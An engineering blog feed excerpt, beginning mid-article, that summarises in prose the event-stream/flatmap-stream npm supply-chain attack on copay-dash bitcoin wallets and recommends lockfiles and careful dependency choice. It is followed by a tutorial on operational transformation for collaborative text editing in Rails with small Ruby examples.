&lt;li&gt;&lt;code&gt;copay-dash&lt;/code&gt; is a popular bitcoin platform which includes &lt;code&gt;event-stream&lt;/code&gt; as a dependency.&lt;/li&gt;
&lt;li&gt;For about a week in September, &lt;code&gt;event-stream&lt;/code&gt; included &lt;code&gt;flatmap-stream&lt;/code&gt; as a dependency, as it was passed along to a new maintainer who added the dependency and removed it a week later.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flatmap-stream&lt;/code&gt; had some code hiding at the end of its minified built output which attempts to decode and execute strings from its packaged &lt;code&gt;test/data.js&lt;/code&gt; file, using the description of the top-level package as the AES256 key.&lt;/li&gt;
&lt;li&gt;For any other package, this produces a silently handled error (as the package description/decryption key is wrong). But for &lt;code&gt;copay-dash&lt;/code&gt;, this produces some valid JavaScript which runs another round of decryption and executes a malicious script that steals your bitcoin wallet.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What now?&lt;/h3&gt;
&lt;p&gt;This was an incredibly clever attack, very reminiscent of &lt;a href=&quot;https://medium.com/hackernoon/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5&quot;&gt;this blog post from January&lt;/a&gt; about how a similar attack might work. The attacker covered their tracks well -- the code and commit log on GitHub all tell an innocuous and fairly common story (a new maintainer joins a project, adds a feature, and then tweaks the implementation of their feature a bit). Other than the warning signs about &lt;code&gt;flatmap-stream&lt;/code&gt; (new package, no contributors or download activity), the attack was virtually undetectable. And indeed, it wasn&apos;t discovered for over two months -- it was only found because the attacker &lt;a href=&quot;https://github.com/remy/nodemon/issues/1442&quot;&gt;made a tiny mistake&lt;/a&gt; and used the deprecated &lt;code&gt;crypto.createDecipher&lt;/code&gt; rather than &lt;code&gt;crypto.createDecipheriv&lt;/code&gt;, which raised a suspicious deprecation warning in another library that consumes &lt;code&gt;event-stream&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Unfortunately, this genre of attack isn&apos;t going away anytime soon. JavaScript is &lt;a href=&quot;https://insights.stackoverflow.com/survey/2018#most-popular-technologies&quot;&gt;the most popular language right now&lt;/a&gt; and it&apos;s not really close, meaning it will continue to be an attractive target for hackers. JavaScript also has relatively few standard-library convenience features compared to other languages, which encourages developers to import them from npm packages instead -- this, along with other cultural factors, means that JavaScript projects tend to have massive dependency trees.&lt;/p&gt;
&lt;p&gt;It&apos;s worth noting here that while JavaScript applications are relatively susceptible to this class of vulnerability, that&apos;s not necessarily a reason why JavaScript is less secure overall. JavaScript tends to be used by fast-moving teams that stay close to the cutting edge, which means its users install a lot of packages and updates, and are thus vulnerable to malicious updates. But Equifax&apos;s Java app was breached for exactly the &lt;em&gt;opposite&lt;/em&gt; reason -- they didn&apos;t &lt;a href=&quot;https://arstechnica.com/information-technology/2017/09/massive-equifax-breach-caused-by-failure-to-patch-two-month-old-bug/&quot;&gt;install a security update to Apache Struts&lt;/a&gt; for months. That class of vulnerability is far less likely to happen on a fast-moving JavaScript app. In the end, there will always be security tradeoffs involved in choosing a technology stack; the important takeaway is to understand the failure modes for your particular application and be vigilant against them.&lt;/p&gt;
&lt;p&gt;What does this mean for JavaScript stacks? There&apos;s no shortage of ideas and proposals for how npm or community organizations could prevent these attacks. But for end users, there are at least two essential steps to reducing your exposure:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use a lockfile.&lt;/strong&gt; Whether it&apos;s yarn&apos;s &lt;code&gt;yarn.lock&lt;/code&gt; or npm&apos;s &lt;code&gt;package-lock.json&lt;/code&gt;, a lockfile ensures that you get the same package versions on every install, so if you&apos;re secure today then you&apos;ll be secure tomorrow as well. Apps that utilize floating dependencies without a lockfile are particularly vulnerable to malicious updates, because they will automatically install the latest patch version of their dependencies -- meaning that you may be compromised as soon as your next deploy, if one of your dependencies is compromised and publishes a malicious patch. With a lockfile, you at least limit your exposure to manual developer actions that add or update a package, which can be double-checked via code reviews and organizational policies.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Think before you install.&lt;/strong&gt; This isn&apos;t a panacea -- as demonstrated above, it&apos;s easy for attackers to slip malicious code into minified output, which is hard to find even if you knew it was there. But you will drastically reduce your exposure if you stick to popular, well-maintained packages. Before you install a new dependency, first, ask yourself if you really need it. If you already know how to write the code, and it won&apos;t take you more than a few dozen lines, just do it yourself. If you do need the dependency, scope it out before you install. Does it have high download numbers on npm? Does the GitHub repo appear well-maintained and active? Has the package been updated recently? If not, also consider forking the repository and either publishing a fork to npm or installing the package directly from your GitHub; this reduces risk because you aren&apos;t exposed to future malicious updates, and you can read and minify the source yourself so you&apos;re confident about what it really does.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</content:encoded></item><item><title><![CDATA[How to Build a Collaborative Text Editor Using Rails]]></title><description><![CDATA[It is a painful realization. You just added a beautiful, multi-page description into your bug tracker's text editor, complete with photos…]]></description><link>https://www.aha.io/engineering/articles/how-to-build-collaborative-text-editor-rails</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/how-to-build-collaborative-text-editor-rails</guid><dc:creator><![CDATA[Justin Weiss]]></dc:creator><pubDate>Wed, 18 Apr 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It is a painful realization. You just added a beautiful, multi-page description into your bug tracker&apos;s text editor, complete with photos and a short screencast. Then your co-worker, who left their window open when they went to lunch, helpfully fixes a typo… and overwrites everything you just did. Poof — all that work, gone.&lt;/p&gt;
&lt;p&gt;One of my favorite things about Rails is how great it is with solving 99 percent of the issues most applications have — you know, take some information, do stuff with it, and then put that information back in front of people. But as your app becomes more popular, there is more information being entered in the same record, often by many people at the same time. And this can be disastrous.&lt;/p&gt;
&lt;p&gt;How great would it be if everyone could work on the same record at the same time? If the record could deal with all those updates, instead of you having to negotiate who makes the updates like a bunch of stranded preteens from Lord of the Flies?&lt;/p&gt;
&lt;p&gt;As more and more organizations move all workflow and data online, the expectation is that everyone can work together in real time. Technology companies are building entire businesses around collaborative editing or adding collaboration to their existing products.&lt;/p&gt;
&lt;p&gt;This is something that we have been thinking about at Aha! for some time. We know that our customers want to be able to work together seamlessly when creating notes or &lt;a href=&quot;/product/features&quot;&gt;writing feature descriptions&lt;/a&gt; in our application. So we have been researching what is possible to deliver the best collaborative text editor experience.&lt;/p&gt;
&lt;p&gt;And if you do not want your customers to have to pass the conch shell just to get work done, you need it too.&lt;/p&gt;
&lt;h2&gt;What does collaborative editing look like?&lt;/h2&gt;
&lt;p&gt;As developers, you will probably think of Git. You make changes to your document, someone else makes changes on their document, you merge, and then one of you fixes conflicts.&lt;/p&gt;
&lt;p&gt;Part of that process is great. You can just make changes without having to wait for anyone else. That is called making changes optimistically, in the sense that you can do stuff without having to tell other people first and assume that your changes will come through.&lt;/p&gt;
&lt;p&gt;Part of that process is not great. When you and I are editing the same document at the same time, we do not want to be interrupted every few minutes to deal with conflicts. A text editor that worked like that would be unusable. But conflicts do not constantly happen. They only happen when we try to edit the same place at the same time, which is not common.&lt;/p&gt;
&lt;p&gt;When a conflict does happen, though, what if we were not bugged about it? The system could make its best guess on what to do, and one of us could fix it if it was wrong. In theory, this seems like a terrible idea that could never work. In practice, it mostly does work.&lt;/p&gt;
&lt;p&gt;So how does this work in practice? The system doesn&apos;t need to be right, it just has to be consistent, and it needs to try to keep your intent.&lt;/p&gt;
&lt;p&gt;The image below shows this. If I type in the word &quot;hello,&quot; the system should do its very best to make sure &quot;hello&quot; ends up in the document somewhere. That is intent.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/c1e83c3422c6eac20f51f84c2d0f6007/hello-bye.png&quot; alt=&quot;Hello/bye intent&quot;&gt;&lt;/p&gt;
&lt;p&gt;And if someone else types &quot;bye&quot; at the same spot at the same time? Our two documents should eventually end up exactly the same, whether that is &quot;hellobye&quot; or &quot;byehello&quot; — the documents need to be consistent.&lt;/p&gt;
&lt;p&gt;What about conflicts? Well, people are kind of natural conflict resolution machines. If you are walking down the hallway, and someone is about to walk into you, you will stop. Probably both of you will move to the same side. And then maybe you will both move to the other side and you will laugh. But then eventually one of you will move, and the other will stand still, and everything will work out.&lt;/p&gt;
&lt;p&gt;So, you want your editor to quickly respond to the person using it. If you are typing, you do not want to wait for a network request before you can see what you typed. And you want the other people editing your document to see your changes. And you want to do all of this as fast as possible. How could you make that work?&lt;/p&gt;
&lt;p&gt;The first thing you might think of is sending diffs, like the image below. &quot;This person 1 changed line 5 from this to this.&quot; But it is hard to see intent in a diff. All diffs do is tell you what changed, not why.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/85a8cd99eadb25298ab493f7bea60a7d/git-diff.png&quot; alt=&quot;git diff&quot;&gt;&lt;/p&gt;
&lt;p&gt;A better way is to think in terms of actions a person could take: &quot;I inserted character ‘a&apos; at position 5.&quot; &quot;I deleted character ‘b&apos; after position 8.&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/ac68388917c982f5c9e72370d3c52186/insert-json.png&quot; alt=&quot;Inserting JSON&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can make these actions (or operations) pretty much whatever you want. Everything from &quot;insert some text&quot; to &quot;make this section of text bold.&quot; You can apply these to a document, and when you do, the document changes. So, as you can see below, applying this operation changes &quot;Hello&quot; to &quot;Hello, world.&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/1ba5ed036aaf8506da070e2fff5c2461/insert-hello-world.png&quot; alt=&quot;Inserting &amp;#x22;Hello, world&amp;#x22;&quot;&gt;&lt;/p&gt;
&lt;p&gt;If we have operations, and we can send operations, and we can change documents by applying operations, then we almost have collaboration.&lt;/p&gt;
&lt;p&gt;What if client A sent an &quot;insert ‘world&apos; at 5&quot; operation to client B? Client B could apply that operation, and you would have the same doc! Bingo — job is finished and it is perfect. Except it is not.&lt;/p&gt;
&lt;p&gt;Because remember — you could both be changing the document at the same time. So, let&apos;s say you have two clients. They each have a document with the text &quot;at&quot; as shown below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/7429f6bc30503ce19f0240ec60b83aa1/at-operation.png&quot; alt=&quot;&amp;#x22;at&amp;#x22; operation&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, the left client types &quot;c&quot; at position 0, making the word &quot;cat.&quot; At the same time, the other client types &quot;r&quot; at position 1, making the word &quot;art.&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/d488b799de35857352a517fd45ec5fce/c-r-at-operation.png&quot; alt=&quot;&amp;#x22;c&amp;#x22;/&amp;#x22;r&amp;#x22; &amp;#x22;at&amp;#x22; operation&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, the client on the right gets this &quot;insert c at 0&quot; operation from the other client and ends up with &quot;cart.&quot; So far, so good. But then the client on the left gets the &quot;insert r at 1&quot; operation from the other client, ending up with the &quot;crat&quot; you see below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/309206ecdf79310f0b203c56ed674a0d/c-r-cross-operation.png&quot; alt=&quot;&amp;#x22;c&amp;#x22;/&amp;#x22;r&amp;#x22; cross operation&quot;&gt;&lt;/p&gt;
&lt;p&gt;And I have no idea what a &quot;crat&quot; is. (Do you?)&lt;/p&gt;
&lt;p&gt;Worse than the unknown &quot;crat,&quot; we have violated one of our most important rules. Both documents need to be consistent with one another — they need to end up at the same state. Because now, if the client on the left deletes the character &quot;a&quot; after position 2, it also deletes &quot;r&quot; on this other client without having any idea that it is doing it. It is wrong and broken in a way a person cannot fix.&lt;/p&gt;
&lt;p&gt;So, something else needs to happen. And that something is operational transformation.&lt;/p&gt;
&lt;h2&gt;Transforming operations&lt;/h2&gt;
&lt;p&gt;So let&apos;s look at the problem again. We have two operations that happen at the same time, meaning they both came from the same document state — the &quot;at&quot; example we talked about earlier.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/d488b799de35857352a517fd45ec5fce/c-r-at-operation.png&quot; alt=&quot;&amp;#x22;c&amp;#x22;/&amp;#x22;r&amp;#x22; &amp;#x22;at&amp;#x22; operation&quot;&gt;&lt;/p&gt;
&lt;p&gt;Whenever we have two operations that happen on the same exact document, that means we might need to change one of them. This is because you can only make changes one after the other, in order — like we just saw with &quot;cart&quot; and &quot;crat,&quot; order matters. On this client, it means that the insert &quot;r&quot; has to change so that it can happen after the insert &quot;c.&quot; So what would this look like?&lt;/p&gt;
&lt;p&gt;Well, after you insert &quot;c,&quot; the old position 1 (highlighted in yellow below) is now position 2. Everything moved over by one. If the &quot;r&quot; goes in between &quot;a&quot; and &quot;t&quot; (just like it did over on the other client), it should go into position 2 — right? So, when you get that &quot;insert r at 1,&quot; you transform it into &quot;insert r at 2&quot; before you apply it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/4ff9a19d4c06d971774608293ff9d8f7/c-r-transform.png&quot; alt=&quot;&amp;#x22;c&amp;#x22;/&amp;#x22;r&amp;#x22; transform&quot;&gt;&lt;/p&gt;
&lt;p&gt;How about on the other side? It gets &quot;insert c at 0.&quot; But position 0 has not moved, so &quot;insert c at 0&quot; can just stay as it is.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/8ef619d1fbce057dc8cce0d48afdbd6e/c-not-moved.png&quot; alt=&quot;&amp;#x22;c&amp;#x22; not moved&quot;&gt;&lt;/p&gt;
&lt;p&gt;What you are trying to do is say, &quot;If operation A and operation B happened at the same time, how could I change operation B to adjust for what operation A did?&quot;&lt;/p&gt;
&lt;p&gt;That can sometimes be abstract and hard to think about. So I draw boxes instead. (Yep, I have lots of pieces of paper filled with boxes.) But check this out below. In the upper-left corner, I write a document state — &quot;at.&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/ea5e3c7c1c23a4fda99a66974b042bdc/at-upper-left.png&quot; alt=&quot;&amp;#x22;at&amp;#x22; document state&quot;&gt;&lt;/p&gt;
&lt;p&gt;I draw an arrow going right and I write one of the operations (&quot;insert c at 0&quot;) on it. Then in the upper-right, I write what things look like after that happens (&quot;cat&quot;). Then I draw a line going down.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/8688c560a9c5bf8db8f575f004e69476/cat-upper-right.png&quot; alt=&quot;&amp;#x22;cat&amp;#x22; document state&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next, I draw an arrow going down. This one gets the other operation (&quot;insert r at 1&quot;). Same as before: I write down what things look like after that happens (&quot;art&quot;). And I draw an arrow going right. We end up with what you see below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/c187971d6644c1925d0a51eb9b14cfb0/rat-lower-left.png&quot; alt=&quot;&amp;#x22;rat&amp;#x22; document state&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now we have a decision to make. In the lower right-hand corner, what should the document look like? This is where thinking about what your user would expect can help, but sometimes you have to just make a decision.&lt;/p&gt;
&lt;p&gt;Here, though, the answer is not ambiguous — it should be &quot;cart.&quot; What would need to happen to turn &quot;cat&quot; into &quot;cart&quot;? &quot;Insert r at 2.&quot; What would need to happen to turn &quot;art&quot; into &quot;cart&quot;? &quot;Insert c at 0.&quot; So we will fill in the blank arrows. Those two arrows are our two transformed operations.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/1c4199875214246383d366a8a1d96ab5/transform-lower-right.png&quot; alt=&quot;transformed document state&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once you know this, it is really easy to test drive the code that transforms your operations. The top and left sides are your inputs, and the right and bottom sides are your expected outputs.&lt;/p&gt;
&lt;p&gt;There is one last problem to solve before we can start writing these, though. How do you break ties? If both clients are trying to insert the text in the exact same place, whose text ends up first?&lt;/p&gt;
&lt;p&gt;Remember — you do not have to be right, you just have to be consistent. So, pick a consistent tiebreaker. If you are communicating with a server, you can decide that the server always wins. Or you can give every client a random ID, and the biggest one wins. Just be consistent.&lt;/p&gt;
&lt;h2&gt;Writing a transformation function&lt;/h2&gt;
&lt;p&gt;We have some operations to transform and some expected return values. What would this transformation function actually look like?&lt;/p&gt;
&lt;p&gt;We will start with this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; transform&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(top, left, win_tiebreakers &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  bottom &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; transform_operation(top, left, win_tiebreakers),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  right &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  transform_operation(left, top, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;win_tiebreakers)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  [bottom, right]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It transforms top against left to get the bottom arrow, then left against top to get the right arrow, and then returns both of them, which completes our square. But that is just punting the question. What does a transform_operation function look like?&lt;/p&gt;
&lt;p&gt;Let&apos;s focus on the line that starts with right =. How do you transform that left operation so it acts as if it happened after the top operation shifts everything over and becomes that right arrow — &quot;insert r at 1&quot;?&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# ours:   { type: :insert, text: &quot;r&quot;, position: 1 }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# theirs: { type: :insert, text: &quot;c&quot;, position: 0 }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; transform_operation&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(ours, theirs, win_tiebreakers)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # TODO: handle other kinds of operations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  transformed_op &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ours.dup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ours[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:position&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; theirs[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:position&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    (ours[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:position&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; theirs[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:position&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;win_tiebreakers )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    transformed_op[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:position&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      transformed_op[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:position&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; theirs[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].length&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  transformed_op&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we are only thinking about inserting text for now, writing transform_component is not too hard. We write a to-do for later.&lt;/p&gt;
&lt;p&gt;Next, we return a new operation because we do not want to mess anything up by changing the one that was passed to us. In the if line, we answer the question: What would cause our position to change?&lt;/p&gt;
&lt;p&gt;If the other client is inserting text before our spot, we will need to move over. And if they are inserting text at the same spot as us, and we lose the tiebreaker, we will also have to move over. If either of those scenarios happens, we need to move our position over by the length of the text they are inserting. If they are typing one character, we move over by one. Just like we saw before — because somebody typed a &quot;c&quot; before our &quot;r,&quot; we need to move over or we get &quot;crat.&quot;&lt;/p&gt;
&lt;p&gt;This is about as simple as transformation functions get, but most of them follow the same sort of pattern:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Check whether the other operation can affect us somehow.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If it can, return a new operation with that effect taken into account.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Otherwise, return the original operation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Transformations can get complicated. But they are very functional, in the mathematical sense, which makes them easy to test. And there are some mathematical properties that these functions have to fulfill.&lt;/p&gt;
&lt;p&gt;For example, there is a property called TP1 that says:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If you have two documents with the same state…&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And you apply the first operation followed by the transformed second operation…&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You will end up with the same document as if you applied the second operation followed by the transformed first operation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is kind of a mouthful. But to visualize what it really says, take a look at this square below, starting in the upper left-hand corner. From there, if you take the top arrow and then the right arrow, you will end up with the same document as if you took the left arrow and then the bottom arrow.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/1c4199875214246383d366a8a1d96ab5/transform-lower-right.png&quot; alt=&quot;transformed document state&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you are transforming things correctly, no matter which path you take, you end up at the same destination. Math makes it even easier to test your transformation functions. You can generate a whole bunch of random operations, transform them against each other, apply them to a document, and — as long as the documents end up equal at the end — you know that those transformation functions work.&lt;/p&gt;
&lt;p&gt;So even though transformation functions can get complicated, it is not too hard to make sure they work.&lt;/p&gt;
&lt;p&gt;Now, these square diagrams only really work if there are two clients sending operations at the same time — right? You can only really have two arrows going out of that top-left corner and reaching the bottom left corner. If you have three clients, you get three-dimensional diagrams, if you have four, you get four-dimensional diagrams, and so on. And every path through those diagrams has to end up at the same state.&lt;/p&gt;
&lt;p&gt;But if you have a single source of truth, a central server, this all becomes so much easier. Instead of a three-dimensional diagram, you have a few two-dimensional ones — one for each client-server connection. The clients do not talk to each other directly. They talk through the server. (And as Rails devs, most of us are fairly used to relying on back-end servers.) So from now on, let&apos;s assume we have a server and our operations go through it.&lt;/p&gt;
&lt;h2&gt;When do you need to transform operations?&lt;/h2&gt;
&lt;p&gt;We just talked about transformation functions. These functions transform operations so you end up with sequences of operations that will all end up at the same document. But there is another piece of information you still need.&lt;/p&gt;
&lt;p&gt;We still need to know which operations to transform. For that, we have a control algorithm. And in order to figure that out, the algorithm needs to know if two documents are the same, so we can tell if two operations happened at the same time.&lt;/p&gt;
&lt;p&gt;Since we are talking to a server, this is easy — the server is your source of truth. It can give every document a unique version number and use that number to tell whether two documents are the same.&lt;/p&gt;
&lt;p&gt;Once we have a document version, we can keep track of which document version each operation happened in. So we add the version number of the document to every operation we create, like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; operation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  type:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :insert&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  text:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;r&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  position:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  version:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s say our &quot;at&quot; example was version 2. We had two clients run operations on that same document (&quot;insert C&quot; and &quot;insert r&quot;), so they also get version 2.&lt;/p&gt;
&lt;p&gt;This way, you can tell that these operations happened at the same time and you know you need to transform them. After applying each operation, we end up with a new document version.&lt;/p&gt;
&lt;p&gt;But what would happen if you went a little further before syncing up? What if two clients each ran two operations before they talked to each other, instead of just one?&lt;/p&gt;
&lt;h2&gt;Transforming multiple operations&lt;/h2&gt;
&lt;p&gt;Just like our example earlier, it is easier to visualize if you draw a square so you can see what is happening.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2bd92697f07364186162b58b7c6502be/empty-transform-square.png&quot; alt=&quot;Empty transform square&quot;&gt;&lt;/p&gt;
&lt;p&gt;You have some arrows on the top and some arrows on the left, and you want to complete the square with the arrows on the right and an arrow on the bottom. You can use the same transformation functions you already wrote.&lt;/p&gt;
&lt;p&gt;But there is a trick here. Because this is not one square. As you can see below, it is actually four.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2313ede4834e35e4ca1797278ffb9aff/empty-transform-lines.png&quot; alt=&quot;Empty transform square with lines&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is really important because the right side of one square becomes the new left side of the next square.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/926f0edb2a72a883637f9ae0421fb03b/empty-transform-labeled.png&quot; alt=&quot;Empty labeled transform square&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is a little brain-bending. So, do not worry if it does not really sink in at first. It took years for people to find and fix this problem.&lt;/p&gt;
